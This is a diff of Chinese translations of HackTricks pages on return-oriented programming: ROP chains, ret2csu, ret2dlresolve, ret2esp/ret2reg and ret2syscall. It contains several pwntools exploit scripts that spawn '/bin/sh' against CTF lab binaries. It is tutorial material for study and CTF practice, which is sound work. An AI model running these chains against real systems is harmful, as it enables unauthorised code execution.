- 我们破坏溢出块内 `struct` 中的函数指针，以设置如 `system` 的函数并获得代码执行。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**返回导向编程 (ROP)** 是一种高级利用技术，用于绕过 **无执行 (NX)** 或 **数据执行防护 (DEP)** 等安全措施。攻击者利用二进制文件或已加载库中已经存在的代码片段，称为 **"gadgets"**，而不是注入和执行 shellcode。每个 gadget 通常以 `ret` 指令结束，并执行小的操作，例如在寄存器之间移动数据或执行算术运算。通过将这些 gadgets 链接在一起，攻击者可以构造一个有效绕过 NX/DEP 保护的有效负载，以执行任意操作。
|
||||
**返回导向编程 (ROP)** 是一种高级利用技术，用于绕过 **无执行 (NX)** 或 **数据执行防护 (DEP)** 等安全措施。攻击者利用二进制文件或已加载库中已经存在的代码片段，称为 **"gadgets"**，而不是注入和执行 shellcode。每个 gadget 通常以 `ret` 指令结束，并执行小的操作，例如在寄存器之间移动数据或执行算术运算。通过将这些 gadgets 链接在一起，攻击者可以构造一个有效的有效负载，以执行任意操作，从而有效绕过 NX/DEP 保护。
|
||||
|
||||
### ROP 的工作原理
|
||||
|
||||
1. **控制流劫持**：首先，攻击者需要劫持程序的控制流，通常通过利用缓冲区溢出来覆盖栈上的保存返回地址。
|
||||
2. **Gadget 链接**：攻击者然后仔细选择并链接 gadgets 以执行所需的操作。这可能涉及为函数调用设置参数，调用函数（例如 `system("/bin/sh")`），并处理任何必要的清理或附加操作。
|
||||
3. **有效负载执行**：当易受攻击的函数返回时，而不是返回到合法位置，它开始执行 gadgets 链。
|
||||
2. **Gadget 链接**：攻击者然后仔细选择并链接 gadgets 以执行所需的操作。这可能涉及设置函数调用的参数、调用函数（例如 `system("/bin/sh")`）以及处理任何必要的清理或附加操作。
|
||||
3. **有效负载执行**：当易受攻击的函数返回时，而不是返回到合法位置，它开始执行 gadget 链。
|
||||
|
||||
### 工具
|
||||
|
||||
@ -20,14 +20,14 @@
|
||||
|
||||
### **x86 (32位) 调用约定**
|
||||
|
||||
- **cdecl**：调用者清理栈。函数参数以相反的顺序（从右到左）推送到栈上。**参数从右到左推送到栈上。**
|
||||
- **cdecl**：调用者清理栈。函数参数以相反的顺序（从右到左）推入栈中。**参数从右到左推入栈中。**
|
||||
- **stdcall**：与 cdecl 类似，但被调用者负责清理栈。
|
||||
|
||||
### **查找 Gadgets**
|
||||
|
||||
首先，假设我们已经在二进制文件或其加载的库中识别了必要的 gadgets。我们感兴趣的 gadgets 包括：
|
||||
|
||||
- `pop eax; ret`：这个 gadget 将栈顶的值弹出到 `EAX` 寄存器中，然后返回，使我们能够控制 `EAX`。
|
||||
- `pop eax; ret`：此 gadget 将栈顶值弹出到 `EAX` 寄存器中，然后返回，允许我们控制 `EAX`。
|
||||
- `pop ebx; ret`：与上述类似，但针对 `EBX` 寄存器，使我们能够控制 `EBX`。
|
||||
- `mov [ebx], eax; ret`：将 `EAX` 中的值移动到 `EBX` 指向的内存位置，然后返回。这通常被称为 **write-what-where gadget**。
|
||||
- 此外，我们还有 `system()` 函数的地址可用。
|
||||
@ -36,8 +36,8 @@
|
||||
|
||||
使用 **pwntools**，我们准备栈以执行 ROP 链，目标是执行 `system('/bin/sh')`，注意链的开始：
|
||||
|
||||
1. 为对齐目的的 `ret` 指令（可选）
|
||||
2. `system` 函数的地址（假设 ASLR 被禁用且已知 libc，更多信息见 [**Ret2lib**](ret2lib/)）
|
||||
1. 用于对齐目的的 `ret` 指令（可选）
|
||||
2. `system` 函数的地址（假设 ASLR 被禁用且已知 libc，更多信息见 [**Ret2lib**](ret2lib/index.html)）
|
||||
3. `system()` 的返回地址占位符
|
||||
4. `"/bin/sh"` 字符串地址（system 函数的参数）
|
||||
```python
|
||||
@ -73,9 +73,9 @@ payload = fit({offset: rop_chain})
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## ROP Chain in x64 示例
|
||||
## ROP Chain in x64 Example
|
||||
|
||||
### **x64 (64位) 调用约定**
|
||||
### **x64 (64-bit) 调用约定**
|
||||
|
||||
- 在类Unix系统上使用 **System V AMD64 ABI** 调用约定，其中 **前六个整数或指针参数通过寄存器 `RDI`, `RSI`, `RDX`, `RCX`, `R8` 和 `R9` 传递**。额外的参数通过栈传递。返回值放在 `RAX` 中。
|
||||
- **Windows x64** 调用约定使用 `RCX`, `RDX`, `R8` 和 `R9` 作为前四个整数或指针参数，额外的参数通过栈传递。返回值放在 `RAX` 中。
|
||||
@ -85,12 +85,12 @@ p.interactive()
|
||||
|
||||
为了我们的目的，让我们专注于可以让我们设置 **RDI** 寄存器（将 **"/bin/sh"** 字符串作为参数传递给 **system()**）并调用 **system()** 函数的小工具。我们假设我们已经识别出以下小工具：
|
||||
|
||||
- **pop rdi; ret**：将栈顶值弹出到 **RDI** 中，然后返回。对于设置 **system()** 的参数至关重要。
|
||||
- **ret**：一个简单的返回，在某些情况下对栈对齐很有用。
|
||||
- **pop rdi; ret**: 将栈顶值弹出到 **RDI** 中，然后返回。对于设置 **system()** 的参数至关重要。
|
||||
- **ret**: 一个简单的返回，在某些场景中对栈对齐很有用。
|
||||
|
||||
我们知道 **system()** 函数的地址。
|
||||
|
||||
### **ROP 链**
|
||||
### **ROP Chain**
|
||||
|
||||
下面是一个使用 **pwntools** 设置和执行 ROP 链的示例，旨在执行 **system('/bin/sh')** 在 **x64** 上：
|
||||
```python
|
||||
@ -135,16 +135,16 @@ p.interactive()
|
||||
|
||||
### 栈对齐
|
||||
|
||||
**x86-64 ABI** 确保在执行 **call instruction** 时 **栈是16字节对齐** 的。**LIBC** 为了优化性能，**使用SSE指令**（如 **movaps**），这需要这种对齐。如果栈没有正确对齐（意味着 **RSP** 不是16的倍数），对像 **system** 这样的函数的调用将在 **ROP chain** 中失败。要解决此问题，只需在调用 **system** 之前在 ROP chain 中添加一个 **ret gadget**。
|
||||
**x86-64 ABI** 确保在执行 **call instruction** 时 **栈是16字节对齐** 的。**LIBC** 为了优化性能，**使用 SSE 指令**（如 **movaps**），这需要这种对齐。如果栈没有正确对齐（意味着 **RSP** 不是16的倍数），对像 **system** 这样的函数的调用将在 **ROP chain** 中失败。要解决此问题，只需在调用 **system** 之前在 ROP chain 中添加一个 **ret gadget**。
|
||||
|
||||
## x86与x64的主要区别
|
||||
## x86 与 x64 的主要区别
|
||||
|
||||
> [!TIP]
|
||||
> 由于 **x64使用寄存器处理前几个参数，** 它通常需要比x86更少的gadget进行简单的函数调用，但由于寄存器数量增加和地址空间更大，找到和链接正确的gadget可能更复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为漏洞开发提供了机遇和挑战，特别是在返回导向编程（ROP）的背景下。
|
||||
> 由于 **x64 使用寄存器处理前几个参数，** 它通常需要比 x86 更少的 gadgets 来进行简单的函数调用，但由于寄存器数量的增加和地址空间的扩大，找到和链接正确的 gadgets 可能会更复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为漏洞开发提供了机遇和挑战，特别是在返回导向编程（ROP）的背景下。
|
||||
|
||||
## ARM64示例中的ROP链
|
||||
## ARM64 示例中的 ROP chain
|
||||
|
||||
### **ARM64基础与调用约定**
|
||||
### **ARM64 基础与调用约定**
|
||||
|
||||
请查看以下页面以获取此信息：
|
||||
|
||||
@ -152,29 +152,29 @@ p.interactive()
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## 针对ROP的保护
|
||||
## 针对 ROP 的保护措施
|
||||
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): 这些保护措施使得ROP的使用变得更加困难，因为gadget的地址在执行之间会发生变化。
|
||||
- [**栈金丝雀**](../common-binary-protections-and-bypasses/stack-canaries/): 在发生BOF时，需要绕过存储的栈金丝雀以覆盖返回指针，从而滥用ROP链。
|
||||
- **缺乏Gadgets**: 如果没有足够的gadget，就无法生成ROP链。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)：这些保护措施使得 ROP 的使用变得更加困难，因为 gadgets 的地址在执行之间会发生变化。
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)：在发生 BOF 时，需要绕过存储的栈金丝雀以覆盖返回指针，从而滥用 ROP chain。
|
||||
- **缺乏 Gadgets**：如果没有足够的 gadgets，就无法生成 ROP chain。
|
||||
|
||||
## 基于ROP的技术
|
||||
## 基于 ROP 的技术
|
||||
|
||||
请注意，ROP只是执行任意代码的一种技术。基于ROP开发了许多Ret2XXX技术：
|
||||
请注意，ROP 只是执行任意代码的一种技术。基于 ROP 开发了许多 Ret2XXX 技术：
|
||||
|
||||
- **Ret2lib**: 使用ROP从加载的库中调用任意函数，带有任意参数（通常是类似 `system('/bin/sh')` 的东西）。
|
||||
- **Ret2lib**：使用 ROP 从加载的库中调用任意函数，带有任意参数（通常是类似 `system('/bin/sh')` 的东西）。
|
||||
|
||||
{{#ref}}
|
||||
ret2lib/
|
||||
{{#endref}}
|
||||
|
||||
- **Ret2Syscall**: 使用ROP准备对系统调用的调用，例如 `execve`，并使其执行任意命令。
|
||||
- **Ret2Syscall**：使用 ROP 准备对 syscall 的调用，例如 `execve`，并使其执行任意命令。
|
||||
|
||||
{{#ref}}
|
||||
rop-syscall-execv/
|
||||
{{#endref}}
|
||||
|
||||
- **EBP2Ret & EBP链**: 第一个将利用EBP而不是EIP来控制流程，第二个类似于Ret2lib，但在这种情况下，流程主要通过EBP地址控制（尽管也需要控制EIP）。
|
||||
- **EBP2Ret & EBP Chaining**：第一个将滥用 EBP 而不是 EIP 来控制流程，第二个类似于 Ret2lib，但在这种情况下，流程主要通过 EBP 地址控制（尽管也需要控制 EIP）。
|
||||
|
||||
{{#ref}}
|
||||
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
|
||||
@ -184,8 +184,8 @@ rop-syscall-execv/
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
|
||||
- 64位，启用Pie和nx，无金丝雀，用 `vsyscall` 地址覆盖RIP，唯一目的是返回栈中的下一个地址，这将是对地址的部分覆盖，以获取泄漏标志的函数部分
|
||||
- 64 位，启用 Pie 和 nx，无金丝雀，用 `vsyscall` 地址覆盖 RIP，唯一目的是返回栈中的下一个地址，这将是对地址的部分覆盖，以获取泄漏标志的函数部分
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64，无ASLR，ROP gadget使栈可执行并跳转到栈中的shellcode
|
||||
- arm64，无 ASLR，ROP gadget 使栈可执行并跳转到栈中的 shellcode
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,11 +10,11 @@
|
||||
|
||||
当一个程序使用某些库（如 libc）时，它有一些内置函数来管理程序不同部分之间的通信。在这些函数中，有一些隐藏的宝石可以作为我们缺失的 gadgets，特别是一个叫 `__libc_csu_init` 的函数。
|
||||
|
||||
### \_\_libc_csu_init 中的魔法 Gadgets
|
||||
### \_\_libc_csu_init 中的魔法 gadgets
|
||||
|
||||
在 **`__libc_csu_init`** 中，有两个指令序列（gadgets）需要强调：
|
||||
在 **`__libc_csu_init`** 中，有两个指令序列（gadgets）值得强调：
|
||||
|
||||
1. 第一个序列让我们在几个寄存器（rbx, rbp, r12, r13, r14, r15）中设置值。这些就像我们可以存储后续要使用的数字或地址的槽。
|
||||
1. 第一个序列让我们可以在多个寄存器（rbx, rbp, r12, r13, r14, r15）中设置值。这些就像我们可以存储数字或地址的槽位，以便稍后使用。
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
@ -24,7 +24,7 @@ pop r14;
|
||||
pop r15;
|
||||
ret;
|
||||
```
|
||||
这个工具允许我们通过将值从栈中弹出到这些寄存器来控制它们。
|
||||
这个小工具允许我们通过从栈中弹出值来控制这些寄存器。
|
||||
|
||||
2. 第二个序列使用我们设置的值来做几件事：
|
||||
- **将特定值移动到其他寄存器中**，使它们准备好作为函数中的参数使用。
|
||||
@ -35,7 +35,7 @@ mov rsi, r14;
|
||||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
3. 也许你不知道要写入哪个地址，并且你**需要一个 `ret` 指令**。请注意，第二个 gadget 也将**以 `ret` 结束**，但你需要满足一些**条件**才能到达它：
|
||||
3. 也许你不知道要写入哪个地址，并且你**需要一个 `ret` 指令**。请注意，第二个小工具也将**以 `ret` 结束**，但你需要满足一些**条件**才能到达它：
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
@ -49,7 +49,7 @@ ret
|
||||
```
|
||||
条件将是：
|
||||
|
||||
- `[r12 + rbx*8]` 必须指向一个存储可调用函数的地址（如果没有想法且没有 pie，可以直接使用 `_init` 函数）：
|
||||
- `[r12 + rbx*8]` 必须指向一个存储可调用函数的地址（如果没有想法且没有PIE，可以直接使用 `_init` 函数）：
|
||||
- 如果 \_init 在 `0x400560`，使用 GEF 在内存中搜索指向它的指针，并使 `[r12 + rbx*8]` 成为指向 \_init 的指针的地址：
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
@ -79,14 +79,14 @@ brop-blind-return-oriented-programming.md
|
||||
|
||||
### 使用调用
|
||||
|
||||
想象一下，你想要进行系统调用或调用像 `write()` 这样的函数，但需要在 `rdx` 和 `rsi` 寄存器中具有特定的值作为参数。通常，你会寻找直接设置这些寄存器的 gadgets，但你找不到任何。
|
||||
想象一下，你想进行系统调用或调用像 `write()` 这样的函数，但需要在 `rdx` 和 `rsi` 寄存器中作为参数的特定值。通常，你会寻找直接设置这些寄存器的 gadgets，但你找不到任何。
|
||||
|
||||
这时 **ret2csu** 就派上用场了：
|
||||
|
||||
1. **设置寄存器**：使用第一个魔法 gadget 从栈中弹出值并放入 rbx、rbp、r12（edi）、r13（rsi）、r14（rdx）和 r15。
|
||||
2. **使用第二个 gadget**：在这些寄存器设置好后，使用第二个 gadget。这使你能够将所选值移动到 `rdx` 和 `rsi`（分别来自 r14 和 r13），为函数调用准备参数。此外，通过控制 `r15` 和 `rbx`，你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 地址的函数。
|
||||
1. **设置寄存器**：使用第一个魔法 gadget 从栈中弹出值到 rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx) 和 r15。
|
||||
2. **使用第二个 gadget**：在设置好这些寄存器后，使用第二个 gadget。这使你能够将所选值移动到 `rdx` 和 `rsi`（分别来自 r14 和 r13），为函数调用准备参数。此外，通过控制 `r15` 和 `rbx`，你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 地址的函数。
|
||||
|
||||
你有一个 [**使用此技术并在此处解释的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)，这是它使用的最终利用：
|
||||
你可以在这里找到一个 [**使用此技术并解释的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)，这是它使用的最终利用：
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -111,11 +111,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
||||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
> [!WARNING]
|
||||
> 请注意，之前的漏洞并不是为了实现 **`RCE`**，而只是为了调用一个名为 **`win`** 的函数（从标准输入调用 gets 获取 `win` 的地址并将其存储在 r15 中），并带有一个值为 `0xdeadbeefcafed00d` 的第三个参数。
|
||||
> 注意，之前的漏洞并不是为了实现 **`RCE`**，而是为了调用一个名为 **`win`** 的函数（从标准输入调用 gets 获取 `win` 的地址并将其存储在 r15 中），并带有一个值为 `0xdeadbeefcafed00d` 的第三个参数。
|
||||
|
||||
### 绕过调用并到达 ret
|
||||
|
||||
以下漏洞是从 [**此页面**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) 提取的，其中使用了 **ret2csu**，但不是使用调用，而是 **绕过比较并到达 `ret`** 在调用之后：
|
||||
以下漏洞是从 [**此页面**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) 提取的，其中使用了 **ret2csu**，但不是使用调用，而是 **绕过比较并在调用后到达 `ret`**：
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
@ -167,6 +167,6 @@ target.interactive()
|
||||
```
|
||||
### 为什么不直接使用libc？
|
||||
|
||||
通常这些情况也容易受到 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) 的攻击，但有时你需要控制比直接在libc中找到的gadgets更复杂的参数。例如，`write()` 函数需要三个参数，而 **直接找到设置所有这些的gadgets可能是不可能的**。
|
||||
通常这些情况也容易受到 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html) 的攻击，但有时你需要控制比直接在libc中找到的gadgets更复杂的参数。例如，`write()` 函数需要三个参数，而 **直接找到设置所有这些的gadgets可能是不可能的**。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,18 +4,18 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中解释的，缺少完整 Relro 的二进制文件在第一次使用时会解析符号（如外部库的地址）。这种解析通过调用函数 **`_dl_runtime_resolve`** 进行。
|
||||
正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中解释的，缺少完整 Relro 的二进制文件在第一次使用时会解析符号（如外部库的地址）。这种解析通过调用函数 **`_dl_runtime_resolve`** 发生。
|
||||
|
||||
**`_dl_runtime_resolve`** 函数从栈中获取对一些它需要的结构的引用，以便 **解析** 指定的符号。
|
||||
|
||||
因此，可以 **伪造所有这些结构** 以使动态链接解析请求的符号（如 **`system`** 函数）并使用配置的参数调用它（例如 **`system('/bin/sh')`**）。
|
||||
因此，可以 **伪造所有这些结构** 以使动态链接解析请求的符号（如 **`system`** 函数），并使用配置的参数调用它（例如 **`system('/bin/sh')`**）。
|
||||
|
||||
通常，所有这些结构都是通过制作一个 **初始 ROP 链来调用 `read`** 在可写内存上，然后将 **结构** 和字符串 **`'/bin/sh'`** 传递，以便它们被读取存储在已知位置，然后 ROP 链继续通过调用 **`_dl_runtime_resolve`**，使其 **解析 `system` 的地址** 在伪造的结构中，并 **使用 `$'/bin/sh'` 的地址调用该地址**。
|
||||
通常，通过制作一个 **初始 ROP 链来调用 `read`** 在可写内存上伪造所有这些结构，然后将 **结构** 和字符串 **`'/bin/sh'`** 传递，以便它们被读取存储在已知位置，然后 ROP 链继续通过调用 **`_dl_runtime_resolve`**，使其 **解析 `system` 的地址** 在伪造的结构中，并 **使用 `$'/bin/sh'` 的地址调用这个地址**。
|
||||
|
||||
> [!TIP]
|
||||
> 如果没有 syscall gadgets（使用诸如 [**ret2syscall**](rop-syscall-execv/) 或 [SROP](srop-sigreturn-oriented-programming/) 的技术），并且没有方法泄漏 libc 地址，这种技术特别有用。
|
||||
> 如果没有 syscall gadgets（使用如 [**ret2syscall**](rop-syscall-execv/index.html) 或 [SROP](srop-sigreturn-oriented-programming/index.html) 等技术），并且没有方法泄漏 libc 地址，这种技术特别有用。
|
||||
|
||||
查看这个视频，了解关于这种技术的精彩解释，视频的后半部分：
|
||||
查看这个视频，了解该技术在视频后半部分的精彩解释：
|
||||
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
@ -188,6 +188,6 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
||||
- 32位，无relro，无canary，nx，无pie，基本的小缓冲区溢出和返回。为了利用它，bof被用来再次调用`read`，使用一个`.bss`段和更大的大小，以在其中存储`dlresolve`伪表以加载`system`，返回到main并重新利用初始bof调用dlresolve，然后`system('/bin/sh')`。
|
||||
- 32位，无relro，无canary，nx，无pie，基本的小缓冲区溢出和返回。为了利用它，bof被用来再次调用`read`，使用一个`.bss`段和更大的大小，以在其中存储`dlresolve`伪表以加载`system`，返回到main并重新利用初始bof来调用dlresolve，然后`system('/bin/sh')`。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
**因为 ESP（栈指针）始终指向栈的顶部**，该技术涉及用 **`jmp esp`** 或 **`call esp`** 指令的地址替换 EIP（指令指针）。通过这样做，shellcode 被放置在被覆盖的 EIP 之后。当 `ret` 指令执行时，ESP 指向下一个地址，正好是存储 shellcode 的地方。
|
||||
|
||||
如果 **地址空间布局随机化（ASLR）** 在 Windows 或 Linux 中未启用，可以使用在共享库中找到的 `jmp esp` 或 `call esp` 指令。然而，当 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 激活时，可能需要在易受攻击的程序内部查找这些指令（并且可能需要击败 [**PIE**](../common-binary-protections-and-bypasses/pie/)）。
|
||||
如果在 Windows 或 Linux 中未启用 **地址空间布局随机化（ASLR）**，则可以使用在共享库中找到的 `jmp esp` 或 `call esp` 指令。然而，当 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 激活时，可能需要在易受攻击的程序内部查找这些指令（并且可能需要击败 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)）。
|
||||
|
||||
此外，能够将 shellcode **放置在 EIP 损坏之后**，而不是在栈的中间，确保在函数操作期间执行的任何 `push` 或 `pop` 指令不会干扰 shellcode。如果 shellcode 被放置在函数栈的中间，可能会发生这种干扰。
|
||||
|
||||
@ -17,7 +17,7 @@
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
```
|
||||
在栈的早期写入 shellcode。
|
||||
并在栈的早期写入 shellcode。
|
||||
|
||||
### 示例
|
||||
|
||||
@ -78,7 +78,7 @@ target.interactive()
|
||||
```
|
||||
## Ret2reg
|
||||
|
||||
类似地，如果我们知道一个函数返回存储 shellcode 的地址，我们可以利用 **`call eax`** 或 **`jmp eax`** 指令（称为 **ret2eax** 技术），提供另一种执行我们的 shellcode 的方法。就像 eax 一样，**任何其他寄存器** 中包含有趣地址的寄存器都可以使用（**ret2reg**）。
|
||||
类似地，如果我们知道一个函数返回存储 shellcode 的地址，我们可以利用 **`call eax`** 或 **`jmp eax`** 指令（称为 **ret2eax** 技术），提供另一种执行我们的 shellcode 的方法。就像 eax 一样，**任何其他寄存器** 中包含有趣地址的寄存器都可以被使用（**ret2reg**）。
|
||||
|
||||
### 示例
|
||||
|
||||
@ -135,7 +135,7 @@ do_stuff(2)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
检查函数的反汇编，可以看到**缓冲区的地址**（易受bof攻击且**由用户控制**）在从缓冲区溢出返回之前**存储在`x0`中**：
|
||||
检查函数的反汇编，可以看到**缓冲区的地址**（易受bof攻击并且**由用户控制**）在从缓冲区溢出返回之前**存储在`x0`中**：
|
||||
|
||||
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
@ -143,7 +143,7 @@ return 0;
|
||||
|
||||
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
我们将使用这个小工具跳转到它，因为二进制文件是**在没有PIE的情况下编译的**。使用模式可以看到**缓冲区溢出的偏移量是80**，所以利用的方式将是：
|
||||
我们将使用这个小工具跳转到它，因为二进制文件是**在没有PIE的情况下编译的**。使用模式可以看到**缓冲区溢出的偏移量是80**，所以利用将是：
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -159,15 +159,15 @@ p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
> [!WARNING]
|
||||
> 如果不是使用 `fgets` 而是使用类似 **`read`** 的函数，那么只需 **覆盖返回地址的最后两个字节** 就可以绕过 PIE，返回到 `br x0;` 指令，而无需知道完整地址。\
|
||||
> 使用 `fgets` 不行，因为它 **在末尾添加了一个空字节 (0x00)**。
|
||||
> 如果使用的是类似 **`read`** 的函数，而不是 `fgets`，那么只需 **覆盖返回地址的最后两个字节** 就可以绕过 PIE，直接返回到 `br x0;` 指令，而无需知道完整地址。\
|
||||
> 使用 `fgets` 是不行的，因为它 **在末尾添加了一个空字节 (0x00)**。
|
||||
|
||||
## 保护措施
|
||||
## Protections
|
||||
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 如果栈不可执行，这将无济于事，因为我们需要将 shellcode 放在栈中并跳转执行它。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): 这些可能会使找到跳转到 esp 或其他寄存器的指令变得更加困难。
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 如果栈不可执行，这将无济于事，因为我们需要将 shellcode 放在栈中并跳转执行。
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): 这些可能会使找到跳转到 esp 或其他寄存器的指令变得更加困难。
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
|
||||
|
||||
@ -13,10 +13,10 @@
|
||||
- `rsi: 0 指定不传递参数`
|
||||
- `rdx: 0 指定不传递环境变量`
|
||||
|
||||
所以，基本上需要将字符串 `/bin/sh` 写入某个地方，然后执行 `syscall`（注意控制栈所需的填充）。为此，我们需要一个 gadget 来在已知区域写入 `/bin/sh`。
|
||||
所以，基本上需要将字符串 `/bin/sh` 写入某个地方，然后执行 `syscall`（注意控制栈所需的填充）。为此，我们需要一个 gadget 来将 `/bin/sh` 写入已知区域。
|
||||
|
||||
> [!TIP]
|
||||
> 另一个有趣的 syscall 是 **`mprotect`**，这将允许攻击者 **修改内存中页面的权限**。这可以与 [**ret2shellcode**](../../stack-overflow/stack-shellcode/) 结合使用。
|
||||
> 另一个有趣的 syscall 是 **`mprotect`**，这将允许攻击者 **修改内存中页面的权限**。这可以与 [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html) 结合使用。
|
||||
|
||||
## 寄存器 gadgets
|
||||
|
||||
@ -34,7 +34,7 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
|
||||
### 可写内存
|
||||
|
||||
首先，您需要在内存中找到一个可写的位置。
|
||||
首先，您需要找到内存中一个可写的位置。
|
||||
```bash
|
||||
gef> vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
@ -96,7 +96,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## 缺少小工具
|
||||
|
||||
如果您**缺少小工具**，例如在内存中写入`/bin/sh`，您可以使用**SROP技术来控制所有寄存器值**（包括RIP和参数寄存器）来自栈：
|
||||
如果您**缺少小工具**，例如在内存中写入`/bin/sh`，您可以使用**SROP技术来控制所有寄存器值**（包括RIP和参数寄存器）从栈中：
|
||||
|
||||
{{#ref}}
|
||||
../srop-sigreturn-oriented-programming/
|
||||
@ -172,10 +172,10 @@ target.interactive()
|
||||
## 其他示例与参考
|
||||
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
|
||||
- 64 位，无 PIE，nx，在某些内存中写入一个 ROP 来调用 `execve` 并跳转到那里。
|
||||
- 64 位，无 PIE，nx，在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
|
||||
- 64 位，nx，无 PIE，在某些内存中写入一个 ROP 来调用 `execve` 并跳转到那里。为了写入堆栈，滥用一个执行数学运算的函数。
|
||||
- 64 位，nx，无 PIE，在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。为了向栈中写入执行数学运算的函数被滥用。
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
